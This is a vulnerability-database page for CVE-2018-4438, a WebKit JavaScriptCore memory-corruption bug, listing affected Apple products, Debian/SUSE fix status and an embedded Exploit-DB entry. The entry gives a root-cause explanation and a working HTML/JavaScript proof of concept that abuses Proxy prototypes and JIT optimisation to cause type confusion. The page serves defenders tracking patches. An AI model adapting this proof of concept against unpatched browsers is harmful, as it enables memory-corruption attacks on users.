CVE-2018-4438

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

A logic issue existed resulting in memory corruption. This was addressed with improved state management. This issue affected versions prior to iOS 12.1.1, tvOS 12.1.1, watchOS 5.1.2, Safari 12.0.2, iTunes 12.9.2 for Windows, iCloud for Windows 7.9.

Predictions

Exploit likelihood
55%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-45984 dos multiple verified text · 3 KB
Google Security Research · 2018-12-13

WebKit JIT - Int32/Double Arrays can have Proxy Objects in the Prototype Chains

text exploit Source: Exploit-DB
<!--
Bug:
void JSObject::setPrototypeDirect(VM& vm, JSValue prototype)
{
    ASSERT(prototype);
    if (prototype.isObject())
        prototype.asCell()->didBecomePrototype();
    
    if (structure(vm)->hasMonoProto()) {
        DeferredStructureTransitionWatchpointFire deferred(vm, structure(vm));
        Structure* newStructure = Structure::changePrototypeTransition(vm, structure(vm), prototype, deferred);
        setStructure(vm, newStructure);
    } else
        putDirect(vm, knownPolyProtoOffset, prototype);

    if (!anyObjectInChainMayInterceptIndexedAccesses(vm))
        return;
    
    if (mayBePrototype()) {
        structure(vm)->globalObject()->haveABadTime(vm);
        return;
    }
    
    if (!hasIndexedProperties(indexingType()))
        return;
    
    if (shouldUseSlowPut(indexingType()))
        return;

    switchToSlowPutArrayStorage(vm);
}

JavaScriptCore doesn't allow native arrays to have Proxy objects as prototypes. If we try to set the prototype of an array to a Proxy object, it will end up calling either switchToSlowPutArrayStorage or haveABadTime in the above method. switchToSlowPutArrayStorage will transition the array to a SlowPutArrayStorage array. And haveABadTime will call switchToSlowPutArrayStorage on every object in the VM on a first call. Since subsequent calls to haveABadTime won't have any effect, with two global objects we can create an array having a Proxy object in the prototype chain. 

Exploit:
    case HasIndexedProperty: {
        ArrayMode mode = node->arrayMode();
        
        switch (mode.type()) {
        case Array::Int32:
        case Array::Double:
        case Array::Contiguous:
        case Array::ArrayStorage: {
            break;
        }
        default: {
            clobberWorld();
            break;
        }
        }
        setNonCellTypeForNode(node, SpecBoolean);
        break;
    }

From: https://github.com/WebKit/webkit/blob/9ca43a5d4bd8ff63ee7293cac8748d564bd7fbbd/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h#L3481

The above routine is based on the assumption that if the input array is a native array, it can't intercept indexed accesses therefore it will have no side effects. But actually we can create such arrays which break that assumption making it exploitable.

PoC:
-->

<body>
<script>

function opt(arr, arr2) {
    arr[1] = 1.1;

    let tmp = 0 in arr2;

    arr[0] = 2.3023e-320;

    return tmp;
}

function main() {
    let o = document.body.appendChild(document.createElement('iframe')).contentWindow;

    // haveABadTime
    o.eval(`
let p = new Proxy({}, {});
let a = {__proto__: {}};
a.__proto__.__proto__ = p;
`);

    let arr = [1.1, 2.2];
    let arr2 = [1.1, 2.2];

    let proto = new o.Object();
    let handler = {};

    arr2.__proto__ = proto;
    proto.__proto__ = new Proxy({}, {
        has() {
            arr[0] = {};

            return true;
        }
    });

    for (let i = 0; i < 10000; i++) {
        opt(arr, arr2);
    }

    setTimeout(() => {
        delete arr2[0];

        opt(arr, arr2);

        alert(arr[0]);
    }, 500);
}

main();

</script>
</body>

OS impact

suse SUSE Affected 1 release
VersionStatusFixed in
Affected
debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 2.22.3-1
sid Fixed 2.22.3-1
forky Fixed 2.22.3-1
bullseye Fixed 2.22.3-1
bookworm Fixed 2.22.3-1

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.